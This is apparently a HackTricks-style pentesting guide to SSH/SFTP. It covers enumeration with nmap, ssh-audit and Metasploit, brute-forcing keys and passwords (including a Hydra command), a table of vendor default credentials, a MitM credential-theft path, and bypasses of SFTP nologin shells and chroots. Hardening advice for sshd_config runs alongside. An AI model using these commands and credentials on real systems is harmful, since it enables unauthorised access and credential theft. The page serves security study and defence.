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22 - Pentesting SSH/SFTP
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If you are interested in hacking career and hack the unhackable - we are hiring! (fluent polish written and spoken required).
SSH or Secure Shell or Secure Socket Shell, is a network protocol that gives users a secure way to access a computer over an unsecured network.
Default port: 22
22/tcp open ssh syn-ack
SSH servers:
SSH libraries (implementing server-side):
- wolfSSH – SSHv2 server library written in ANSI C and targeted for embedded, RTOS, and resource-constrained environments
nc -vn <IP> 22
ssh-audit is a tool for ssh server & client configuration auditing.
https://github.com/jtesta/ssh-audit is an updated fork from https://github.com/arthepsy/ssh-audit/
Features:
- SSH1 and SSH2 protocol server support;
- analyze SSH client configuration;
- grab banner, recognize device or software and operating system, detect compression;
- gather key-exchange, host-key, encryption and message authentication code algorithms;
- output algorithm information (available since, removed/disabled, unsafe/weak/legacy, etc);
- output algorithm recommendations (append or remove based on recognized software version);
- output security information (related issues, assigned CVE list, etc);
- analyze SSH version compatibility based on algorithm information;
- historical information from OpenSSH, Dropbear SSH and libssh;
- runs on Linux and Windows;
- no dependencies
usage: ssh-audit.py [-1246pbcnjvlt] <host>
-1, --ssh1 force ssh version 1 only
-2, --ssh2 force ssh version 2 only
-4, --ipv4 enable IPv4 (order of precedence)
-6, --ipv6 enable IPv6 (order of precedence)
-p, --port=<port> port to connect
-b, --batch batch output
-c, --client-audit starts a server on port 2222 to audit client
software config (use -p to change port;
use -t to change timeout)
-n, --no-colors disable colors
-j, --json JSON output
-v, --verbose verbose output
-l, --level=<level> minimum output level (info|warn|fail)
-t, --timeout=<secs> timeout (in seconds) for connection and reading
(default: 5)
$ python3 ssh-audit <IP>
ssh-keyscan -t rsa <IP> -p <PORT>
This is discovered by default by nmap. But you can also use sslcan or sslyze.
nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
nmap -p22 <ip> --script ssh2-enum-algos # Retrieve supported algorythms
nmap -p22 <ip> --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys
nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods
ssh
In some versions of OpenSSH you can make a timing attack to enumerate users. You can use a metasploit module in order to exploit this:
msf> use scanner/ssh/ssh_enumusers
If you know some ssh private keys that could be used... let's try it. You can use the nmap script:
https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
Or the MSF auxiliary module:
msf> use scanner/ssh/ssh_identify_pubkeys
Or use
ssh-keybrute.py (native python3, lightweight and has legacy algorithms enabled): snowdroppe/ssh-keybrute.
Some systems have known flaws in the random seed used to generate cryptographic material. This can result in a dramatically reduced keyspace which can be bruteforced. Pre-generated sets of keys generated on Debian systems affected by weak PRNG are available here: g0tmi1k/debian-ssh.
You should look here in order to search for valid keys for the victim machine.
crackmapexec using the
ssh protocol can use the option --kerberos to authenticate via kerberos.
For more info run crackmapexec ssh --help.Vendor | Usernames | Passwords |
APC | apc, device | apc |
Brocade | admin | admin123, password, brocade, fibranne |
Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
D-Link | admin, user | private, admin, user |
Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin |
Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
Juniper | netscreen | netscreen |
NetApp | admin | netapp123 |
Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
If you are in the local network as the victim which is going to connect to the SSH server using username and password you could try to perform a MitM attack to steal those credentials:
Attack path:
- user traffic is redirected to the attacking machine
- the attacker monitors attempts to connect to the SSH server and redirects them to its SSH server
- the attacker's SSH server is configured, firstly, to log all entered data, including the user's password, and, secondly, send commands to the legitimate SSH server to which the user wants to connect, to execute them, and then return the results to the legitimate user
In order to capture perform the actual MitM you could use techniques like ARP spoofing, DNS spoofin or others described in the Network Spoofing attacks.
By default most SSH server implementation will allow root login, it is advised to disable it because if the credentials of this accounts leaks, attackers will get administrative privileges directly and this will also allow attackers to conduct bruteforce attacks on this account.
How to disable root login for openSSH:
- 1.Edit SSH server configuration
sudoedit /etc/ssh/sshd_config - 2.Change
#PermitRootLogin yesintoPermitRootLogin no - 3.Take into account configuration changes:
sudo systemctl daemon-reload - 4.Restart the SSH server
sudo systemctl restart sshd
Another common SSH misconfiguration is often seen in SFTP configuration. Most of the time when creating a SFTP server the administrator want users to have a SFTP access to share files but not to get a remote shell on the machine. So they think that creating a user, attributing him a placeholder shell (like
/usr/bin/nologin or /usr/bin/false) and chrooting him in a jail is enough to avoid a shell access or abuse on the whole file system. But they are wrong, a user can ask to execute a command right after authentication before it’s default command or shell is executed. So to bypass the placeholder shell that will deny shell access, one only has to ask to execute a command (eg. /bin/bash) before, just by doing:$ ssh -v [email protected] id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 192.168.1.94 ([192.168.1.94]:22).
debug1: channel 0: new [client-session]
debug1: Requesting [email protected]
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype [email protected] want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype [email protected] reply 0
uid=1000(noraj) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0
$ ssh [email protected] /bin/bash
Here is an example of secure SFTP configuration (
/etc/ssh/sshd_config – openSSH) for the user noraj:Match User noraj
ChrootDirectory %h
ForceCommand internal-sftp
AllowTcpForwarding no
PermitTunnel no
X11Forwarding no
PermitTTY no
This configuration will allow only SFTP: disabling shell access by forcing the start command and disabling TTY access but also disabling all kind of port forwarding or tunneling.
If you have access to a SFTP server you can also tunnel your traffic through this for example using the common port forwarding:
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>
The sftp have the command "symlink". Therefor, if you have writable rights in some folder, you can create symlinks of other folders/files. As you are probably trapped inside a chroot this won't be specially useful for you, but, if you can access the created symlink from a no-chroot service (for example, if you can access the symlink from the web), you could open the symlinked files through the web.
For example, to create a symlink from a new file "froot" to "/":
sftp> symlink / froot
If you can access the file "froot" via web, you will be able to list the root ("/") folder of the system.
On high security environment it’s a common practice to enable only key-based or two factor authentication rather than the simple factor password based authentication. But often the stronger authentication methods are enabled without disabling the weaker ones. A frequent case is enabling
publickey on openSSH configuration and setting it as the default method but not disabling password. So by using the verbose mode of the SSH client an attacker can see that a weaker method is enabled:$ ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive
For example if an authentication failure limit is set and you never get the chance to reach the password method, you can use the
PreferredAuthentications option to force to use this method.$ ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password
Review the SSH server configuration is necessary to check that only expected
methods are authorized. Using the verbose mode on the client can help to see
the effectiveness of the configuration.
ssh_config
sshd_config
authorized_keys
ssh_known_hosts
known_hosts
id_rsa
- You can find interesting guides on how to harden SSH in https://www.ssh-audit.com/hardening_guides.html
If you are interested in hacking career and hack the unhackable - we are hiring! (fluent polish written and spoken required).
Protocol_Name: SSH
Port_Number: 22
Protocol_Description: Secure Shell Hardening
Entry_1:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh
Entry_2:
Name: consolesless mfs enumeration
Description: SSH enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit'
- Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!